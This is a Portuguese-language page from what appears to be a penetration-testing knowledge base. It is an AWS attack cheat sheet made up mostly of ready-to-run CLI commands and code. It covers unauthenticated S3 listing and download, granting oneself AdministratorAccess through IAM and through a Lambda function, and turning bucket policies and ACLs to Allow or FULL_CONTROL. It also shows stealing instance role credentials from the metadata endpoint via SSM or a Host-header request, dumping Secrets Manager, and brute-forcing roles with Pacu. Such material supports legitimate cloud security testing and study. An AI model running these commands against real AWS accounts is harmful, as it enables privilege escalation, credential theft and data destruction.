> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/aws.md). # AWS ### Chaves #### Tamanho e Tipos de Chaves * Access Key = 20 chars * Access Secret Key = 40 chars * Session Token = Chave temporária opicional #### Prefixo de Chaves | PREFIXO | TIPO DE RECURSO | | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | `ABIA` | AWS STS Service Bearer Token | | `ACCA` | Context-Specific Credential | | `AGPA` | User Group | | `AIDA` | IAM User | | `AIPA` | Amazon EC2 Instance Profile | | `AKIA` | Access key (Chave de longa duração importante que raramente é modificada) | | `ANPA` | Managed Policy | | `ANVA` | Version in a Managed Policy | | `APKA` | Public key | | `AROA` | Role | | `ASCA` | Certificate | | `ASIA` | Os IDs de chave de acesso temporário (AWS STS) usam esse prefixo, mas são exclusivos apenas em combinação com a Secret Access Key e o Session Token. | ### ### S3 O Amazon Web Services (AWS) fornece um serviço chamado S3 (*Simple Storage Service*), que expõe uma interface de container de armazenamento chamado de "*bucket"* e os arquivos dentro do bucket são chamados de "*objects*". O S3 fornece um armazenamento ilimitado para cada bloco e os proprietários podem usá-los para disponibilizar arquivos. Os arquivos podem ser vinculados de forma `privada` (via URL com assinatura) ou `pública` por meio de uma `ACL (Access Control List)` configurada adequadamente ou por meio de uma `ACP (Access Control Policy)`. Todos os Buckets S3, quando configurados para hospedagem na web, recebem um domínio da AWS que você pode usar para navegar até ele sem configurar seu próprio DNS. Por exemplo, a página web ****** também pode ser visitado em *** Sendo assim, podemos nesse caso acessar a URL \_**\*\** e vermos a lista de arquivos expostos. Uma outra maneira de vermos é através do utilitário `aws cli`, acesso via terminal. Supondo que temos a seguinte URL `https://mysther-static-resources.s3-ap-southeast-1.amazonaws.com/,` podemos pegar somente o seu prefixo (`mysther-static-resources`) e então executar o seguinte comando (altere a região, caso necessário): #### Enumeração (sem autenticação) ```bash aws s3 --no-sign-request --region ap-southeast-1 ls s3://mysther-static-resources ``` Caso tenha sido listado diretório, podemos acessá-la da seguinte forma: ```bash aws s3 --no-sign-request --region ap-southeast-1 ls s3://mysther-static-resources// ``` E por fim, fazer download de arquivos ```bash aws s3 --no-sign-request --region ap-southeast-1 cp s3://mysther-static-resources// ./ ``` #### Enumeração (com autenticação) Listando Buckets ```bash aws s3api list-buckets ``` Listando objetos de um determinado Bucket ```bash aws s3api list-objects --bucket ``` Fazendo download de arquivos. Note que `key`, é o nome do Objeto (no caso, um arquivo) ```bash aws s3 cp s3:/// . ``` {% hint style="success" %} **OBS.:** Ao localizar um Bucket, podemos acessá-lo via web, seguindo um dos seguintes padrões: ***https\://\.s3.amazonaws.com/\** ou **http\://\.s3-website-us-east-1.amazonaws.com/\*** {% endhint %} ### ### AWS CLI #### Instalação ```bash sudo apt install awscli ``` #### Configuração Antes de começar, vamos configurar nossa chave de acesso. Para isso temos a maneira mais prática, que é executando o comando abaixo e depois inserindo as chaves. ```bash aws configure ``` E podemos também, fazer de forma manual, criando um arquivo `~/.aws/credentials` com o conteúdo abaixo. Caso não configure essa chave, provavelmente receberá um erro do tipo: `Partial credentials found in shared-credentials-file, missing: aws_secret_access_key`\ Para pegar as credenciais, vá no painel da AWS, clique no nome do usuário que está no canto superior à direita e depois em `My Security Credentials`. Feito isso vá em `Access Keys (access key ID and secret access key)` e gere uma chave. ```bash [default] aws_access_key_id = aws_secret_access_key = ``` Esse processo obviamente é bem manual, já que estamos criando um arquivo manualmente e inserindo valores nele, então vamos deixar com que o próprio comando `aws` faça o "trabalho sujo" por nós. Note que, editando o arquivo manualmente, podemos inserir o valor do token temporário em `aws_session_token`, já utilizando o comando `aws configure`, já não é possível definir esse valor. ```bash aws configure --profile ``` Feito isso, informe o `Key ID` e o `Access Key`. Note que o diretório `~/.aws` pode ficar um pouco diferente. O arquivo `~/.aws/credentials` que já existia, agora tem uma configuração a mais e foi criado (caso não tinha) o arquivo `~/.aws/config`, que contém a configuração das regiões. #### Comandos Básicos Pegando o `UserID` e o `Account Name`. Caso não defina o profile, por padrão será utilizado o profile `default`. Em `~/.aws/credentials`, podemos ver o profile, que está entre colchete. ```bash aws --profile sts get-caller-identity ``` Detalhes do snapshot da EC2 ```bash aws --profile ec2 describe-snapshots ``` Caso queira pegar um usuário em específico, é necessário adicionar o Owner, exemplo: ``` aws --profile ec2 describe-snapshots --owner-id ``` Listando as permissões do S3 Bucket ```bash aws s3api get-bucket-acl --bucket ``` Listando arquivos em AWS Buckets públicos ```bash aws s3 ls s3:// --no-sign-request ``` Caso já possua uma chave válida configurada, podemos listar os arquivos de uma forma mais prática ```bash aws --profile s3 ls ``` Baixando conteúdo do Bucket ```bash aws s3 sync s3:// --no-sign-request ``` {% hint style="info" %} **NOTA**: As vezes é preciso informar a região. Podemos fazer isso com o parâmetro **`--region us-west-2`** {% endhint %} Fazendo upload de arquivos ```bash aws s3 mv text.txt s3:// ``` Verificando permissões de um determinado arquivo ```bash aws s3api get-object-acl --bucket --key ``` ### ### IAM O IAM (Identity and Access Management), é um serviço da Web que ajuda no controle de acessos aos recursos da AWS. É através do IAM, que podemos controlar quem é autenticado (que fez login) e autorizado (que tem permissão) a usar os recursos. Por esse motivo, o IAM é um ponto totalmente visado a ataques, já que está centralizando e gerenciandos acessos a recursos. #### Users Informações sobre o usuário atual ```bash aws iam get-user ``` Listando todos os Usuários ```bash aws iam list-users ``` Não esqueça de ver as Policies que estão adicionadas aos outros usuários ```bash aws iam list-attached-user-policies --user-name ``` Criando um usuário. Note que nossa conta AWS precisa possuir tal permissão, então verifique mais abaixo como fazer para verificar as nossas políticas atuais e como fazer para anexar uma política administrativa em nosso usuário ```bash aws iam create-user --user-name ``` Após enumerar os usuários, crie um perfil de Login e acesse a plataforma via web ```bash aws iam create-login-profile --user-name --password --no-password-reset-required ``` #### #### Groups Listando todos os Grupos ```bash aws iam list-groups ``` Listando grupos de um determinado usuário ```bash aws iam list-groups-for-user --user-name ``` Adicionando um usuário em um grupo ```bash aws iam add-user-to-group --group-name --user-name ``` #### Policies Enumerando Políticas ```bash aws iam list-policies ``` Políticas associadas em um grupo ```bash aws iam list-attached-group-policies --group-name ``` Para mais detalhes sobre uma determinada Política, pegue o ARN com o comando acima e depois execute: ```bash aws iam get-policy --policy-arn aws iam get-policy-version --policy-arn --version-id ``` Listando detalhes das Política de um determinado Usuário ```bash aws iam list-user-policies --user-name ``` Com a saída do comando acima, execute o comando abaixo mais detalhes ```bash aws iam get-user-policy --user-name --policy-name ``` Com a saída do comando acima, verifique se em `Resource` ou em `Action` há algo que possa ser interessante para escalar algum tipo de privilégio. Para executar o comando abaixo e verificarmos as Roles de uma Policy, vamos pegar como exemplo a seguinte saída: `"Resource": ["arn:aws:iam::658552018120:role/Example"]` e então utilizar somente o `Example` no final e executar: ```bash aws iam list-role-policies --role-name ``` Agora vamos pegar o retorno de `PolicyNames` do comando acima e então executar. Verifique o conteúdo em `Statement` ```bash aws iam get-role-policy --role-name --policy-name ``` Procurando por política ARN administrativa ```bash aws iam list-policies | grep AdministratorAccess ``` Após isso, nós podemos anexar a política `AdministratorAccess` em nossa conta de usuário, bastando apenas pegar a `` na saída do comando acima ```bash aws iam attach-user-policy --user-name --policy-arn ``` Verificando políticas anexadas a um determinado usuário ```bash aws iam list-attached-user-policies --user-name ``` Com o resultado do comando acima, utilize o valor de `PolicyArn` para executar o comando abaixo, retornando assim mais detalhes sobre uma determinada Policy ```bash aws iam get-policy --policy-arn ``` Verificando certificado assinado do usuário ```bash aws iam list-signing-certificates --user-name ``` Verificando por chave públic SSH do usuário. ```bash aws iam list-ssh-public-keys --user-name ``` Com o resultado do comando acima, utilize o valor de `SSHPublicKeyId` para executar o próximo comando ```bash aws iam get-ssh-public-key --user-name --encoding PEM --ssh-public-key-id ``` Verificando se um determinado usuário possui login na console ```bash aws iam get-login-profile --user-name ``` Verificando políticas de um determinado grupo ```bash aws iam list-group-policies --group-name ``` #### #### Roles Enumerando as Roles ```bash aws iam list-roles ``` Detalhes de uma determinada Role ```bash aws iam get-role --role-name ``` Verificando as Policies de uma Role ```bash aws iam list-role-policies --role-name ``` Assumindo uma role ```bash aws sts assume-role --role-arn --role-session-name ``` Execute o próximo comando, de acordo com a saída do comando anterior ```bash export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= ``` Note que fazendo isso, você substituindo seus acessos, então caso queria voltar ao normal, utilize o comando abaixo: ```bash unset AWS_ACCESS_KEY_ID unset AWS_SECRET_ACCESS_KEY unset AWS_SESSION_TOKEN ``` #### #### Misconfigured Trust Policy ```bash aws sts assume-role --role-arn arn:aws:iam:::role/ --role-session-name ad_logging ``` Defina as variáveis, sendo os valores de acordo com o resultado do comando cima ```bash export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= ``` Verificando se as configurações ```bash aws sts get-caller-identity ``` Verificando se há alguma política com s3 disponível ```bash aws iam list-attached-role-policies --role-name ``` Caso possua um s3 disponível, execute o comando abaixo para listar o conteúdo disponível nessa s3 ```bash aws s3 ls ``` #### PACU Instalação ```bash pip3 install -U pacu ``` Inicializando ```bash pacu ``` Definindo as chaves ```bash set_keys ``` Brute Force em Users ```bash run iam__enum_users --role-name a4 --account-id <999999999999> --word-list ``` Brute Force em Roles ```bash run iam__enum_roles --role-name a4 --account-id <999999999999> --word-list ``` ### Bucket Listando Buckets ```bash aws s3api list-buckets aws --endpoint http://: s3api list-buckets ``` Listando objetos/arquivos de um determinado Bucket ```bash aws s3api list-objects --bucket aws --endpoint http://: s3 ls s3:// ``` Baixando um bucket completo ```bash aws --profile s3 sync s3:// ./ ``` Fazendo download de arquivo que está armazenado em um determinado Bucket ```bash aws s3 cp s3:/// . aws --endpoint http://: s3 cp s3:/// ./ ``` Fazendo upload de arquivo ```bash # Arquivo novo aws --endpoint http://: s3 cp s3:/// # Substituindo conteúdo de um arquivo existente aws --endpoint http://: s3 cp s3:/// ``` Deletando arquivo remoto ```bash aws --endpoint http://: s3 rm s3:/// ``` Verificando as Policies de um determinado Bucket. Em algumas ocasiões, podemos ver os nomes dos arquivos, o que pode ser útil quando não temos acesso a leitura dos objetos do Bucket. Em outros casos, podemos ver configurações onde é possível ter acesso por exemplo, utilizando somente um determinado User Agent. ```bash aws s3api get-bucket-policy --bucket --output text | jq aws --endpoint http://: s3api get-bucket-policy --bucket ``` Caso possua permissão para atualizar as políticas, salve o resultado do comando acima e substitua o `Deny` por `Allow` e deixe partes como `s3:GetBucketPolicy` como `s3:*`. Também altere o `Resource` colocando um `*` no final, caso esteja apontando para algum arquivo em específico. Agora faça upload do json modificado. ```bash aws s3api put-bucket-policy --bucket --policy file:// ``` #### Alterando ACL do Bucket Primeiro precisamos baixar a ACL de um determinado bucket e salvar a saída em um arquivo json ```bash aws s3api get-bucket-acl --bucket > ``` Agora basta editar o arquivo, alterando o valor de `Permission` para `FULL_CONTROL` e depois atualizar a ACL atavés do comando abaixo: ```bash aws s3api put-bucket-acl --bucket --access-control-policy file:// ``` Para verificar se deu certo utilize o segundo comando acima, porém sem jogar a saída para um arquivo json #### Alterando ACL do Objeto em um Bucket Primeiro precisamos baixar a ACL de um determinado objeto (arquivo) do bucket e salvar a saída em um arquivo json ```bash aws s3api get-object-acl --bucket --key > ``` Agora basta editar o arquivo, alterando o valor de `Permission` para `FULL_CONTROL` e depois atualizar a ACL atavés do comando abaixo: ```bash aws s3api put-object-acl --bucket --key --access-control-policy file:// ``` ### C2 Analisando instâncias ```bash aws ec2 describe-instances ``` Pegando o AMI ID ```bash aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' --output json | jq -r '.Images | sort_by(.CreationDate) | last(.[]).ImageId' ``` Analisando subnets (aqui podemos encontrar o valor de `SubnetId`) ```bash aws ec2 describe-subnets ``` Listando grupos de segurança ```bash aws ec2 describe-security-groups (aqui podemos encontrar o valor de `GroupId`, por exemplo, `sg-12ad125a1b78c60`) ``` Listando perfis de instancias (aqui podemos encontrar o valor de `InstanceProfileName`) ```bash aws iam list-instance-profiles ``` Inicializando uma EC2 ```bash aws ec2 run-instances --subnet-id --image-id --iam-instance-profile Name= --instance-type t2.micro --security-group-ids "" ``` Com a saída do comando acima, atente-se ao valor de `InstanceId` e utilize-o abaixo para executarmos um comando no OS do EC2. No primeiro exemplo, estamos pegando as chaves de acesso e no segundo exemplo, apenas executando o comando `id`. Não se esqueça de altera o `roleName`, como fizemos com o `` 
# Pegando chaves de acesso
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<roleName>/"]' --targets "Key=instanceids,Values=<InstanceId>"

# id
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["<command>"]' --targets "Key=instanceids,Values=<InstanceId>"
Note que apesar de termos executado o comando, não obtemos a sua saída. Para isso, precisamos realizar mais uma requisição, onde podemos ver ser o output do comando em `StandardOutputContent`. Atente-se ao `CommandId` que foi retornado no comando anterior ```bash aws ssm get-command-invocation --command-id "" --instance-id "" ``` ### Lambda Listando Function Lambda ```bash aws lambda list-functions ``` Para criar uma Function Lambda, primeira crie um arquivo chamado `aws.py` com o conteúdo abaixo. Isso irá adicionar um determinado usuário a Política de Administradores. ```bash import boto3 def handler(event, context): iam = boto3.client("iam") response = iam.attach_user_policy( UserName="", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response ``` Compacte o arquivo criado: ```bash zip aws.zip aws.py ``` Crie a Function Lambda através do comando ```bash aws lambda create-function --function-name aws-function --runtime python3.8 --zip-file fileb://aws.zip --handler aws.handler --role ``` Agora execute a Function criada ```bash aws lambda invoke --function-name aws-function ``` Se ver novamente nas Policies do usuário, terá o `AdministratorAccess` ```bash aws iam list-attached-user-policies --user-name ``` #### Lambda Authorizer O Lambda Authorizer é um recurso do API Gateway que usa uma função do Lambda para controlar o acesso à API. Com base nas informações fornecidas na solicitação, ou seja, tokens, parâmetros de solicitação etc, a função Lambda retorna uma política que permite ou nega o acesso à API. Um ponto que podemos fazer para driblar isso é, acessar a URL com algum token aleatório para que seja validado e após isso,utiizar esse que foi validado em . Exemplo: ```bash $TOKEN=$RANDOM curl 'http://ab.cd-api.us-east-1.amazonaws.com/dev/status' -H "Authorization: $TOKEN" curl 'http://ab.cd-api.us-east-1.amazonaws.com/dev/admin' -H "Authorization: $TOKEN" ``` ### DynamoDB #### Select Listando tabelas do DynamoDB Server ```bash aws --endpoint http://:4567 dynamodb list-tables ``` Verificando a estrutura de uma determinada tabela ```bash aws --endpoint http://:4567 dynamodb describe-table --table ``` Lendo conteúdo de uma determinada tabela ```bash aws --endpoint http://:4567 dynamodb scan --table
``` Para pesquisar por um valor específico, crie um arquivo chamado `find.json` com o conteúdo abaixo, altere a chave `S` com o respectivo index, caso seja necessário: ```bash { ":value": {"S": ""} } ``` Agora execute o comando de busca ```bash aws --endpoint http://:4567 dynamodb scan --table users --filter-expression " = :value" --projection-expression "" --expression-attribute-values file:// ``` Outra maneira de pesquisar, é da forma abaixo, porém aqui estamos filtrando por um campo diferente ```bash aws --endpoint http://:4567 dynamodb query --table
--key-condition-expression " = :value" --expression-attribute-value file:// ``` Caso o json possua mais, valores, podemos organizá-lo da seguinte forma: 
{
    ":value1": {"S": "<value>"},
    ":value2": {"S": "<value>"}
}
Agora em nossa --key-condition-expression, podemos deixa no seguinte padrão: ```bash ... --key-condition-expression " = :value1 and = :value2" ... ``` #### Insert Crie um arquivo chamado `insert.json` com o seguinte valor (altere o nome das chaves e valores): ```bash { "": {"S":""}, "": {"S":""} } ``` Agora execute ```bash aws --endpoint http://:4567 dynamodb put-item --table
--item file:// ``` Para verificar se realmente deu certo, crie um arquivo chamado `search.json` com o seguinte conteúdo (altere o `field` e o `value` para ser igual o foi inserido anteriormente): ```bash { "": {"S": ""} } ``` Agora realize a pesquisa com o comando ```bash aws --endpoint http://:4567 dynamodb get-item --table
--key file:// ``` #### Update Podemos também, atualizar um objeto. Para isso vamos criar um arquivo chamado `key.json` definindo o index (field) e seu respectivo valor, seguindo o seguinte padrão: ```bash { "": {"S": ""} } ``` Agora iremos criar um segundo arquivo chamado `value.json`, que irá conter o novo valor que iremos atribuir para o registro que der "match" com a condição do arquivo `key.json` criado acima ```bash { ":value": {"S": ""} } ``` Por fim, execute o comando para atualizar o banco de dados ```bash aws --endpoint http://:4567 dynamodb update-item --table
--key file:// --update-expression "SET = :value" --expression-attribute-values file:// ``` Para verificar se deu certo, execute ```bash aws --endpoint http://:4567 dynamodb get-item --table
--key file:// ``` #### Delete Deletando registro de uma tabela ```bash aws --endpoint http://:4567 dynamodb delete-item --table
--key file://// ``` Deletando uma tabela ```bash aws --endpoint http://:4567 dynamodb delete-table --table
``` ### ### Bucket Finder Procura por buckets que estão públicos e baixa o seu conteúdo. ``` ./bucket_finder.rb --region us --download ``` ### Pegando Chaves Ao acessar um servidor web hospedado na AWS, utilize o 169.254.169.254 no header `Host` para pegar dados sensíveis, incluindos as chaves AWS ```bash curl http:/// -H 'Host: 169.254.169.254' curl http:///latest/meta-data/iam/security-credentials/ -H 'Host: 169.254.169.254' ``` ### Secret Managers Configurando o AWS ```bash export AWS_ACCESS_KEY_ID = export AWS_SECRET_ACCESS_KEY = export AWS_SESSION_TOKEN = ``` Enumerando os Callers Identity ```bash aws sts get-caller-identity ``` Listando os Secret Managers ```bash aws secretsmanager list-secrets --region ``` Alterr o `` abaixo pela retorno de `Name` no comando anterior ```bash aws secretsmanager get-secret-value --secret-id ``` ### ### IMDS É possível acessar metadados de instância em uma instância em execução utilizando o IMDSv1 (método de solicitação/resposta) ou o IMDSv2 (método orientado a sessões). Os cabeçalhos PUT ou GET são exclusivos do IMDSv2. Se esses cabeçalhos estiverem presentes na solicitação, a solicitação será destinada ao IMDSv2. Se nenhum cabeçalho estiver presente, presume-se que a solicitação seja destinada ao IMDSv1. Ao acessarmos a URL abaixo, podemos receber um `401 - Unauthorized` ```bash curl http://169.254.169.254/latest/meta-data ``` Porém podemos contarnar isso com o comando abaixo, onde iremos pegar o token e jogar na variável `TOKEN`: ```bash TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` ``` Agora com o token em mãos, vamos pegar todos os serviços ```bash curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ ``` Feito isso, podemos navegar nos diretórios localizados, como no exemplo abaixo, no diretório `iam` (caso exista). Dentro do diretório `iam` irão existir mais arquivos e diretórios que podem ser acessados, então vá sempre adicionando eles no final da URL ```bash curl http://169.254.169.254/latest/meta-data/iam/ -H "X-aws-ec2-metadata-token: $TOKEN" ``` ### Acessando via Postman com Access Key e Access Secret Key Depois de ter em mãos o Access Key (chave com o prefixo `AKIA`) e o Access Secret Key, abra o Postman e na aba de autenticação, selecione `AWS Signature`. Insira então as duas chaves, a região (por exemplo `us-east-1`) e o Service Name, que podemos pegar na URL, onde temos o valor `execute-api`, para a URL. ### Sites ```bash # Pesquisa pública da Open Amazon S3 Buckets https://buckets.grayhatwarfare.com/ # Explicação sobre a AWS https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/ # Gerador de Policies https://awspolicygen.s3.amazonaws.com/policygen.html # PACU https://github.com/RhinoSecurityLabs/pacu1 ```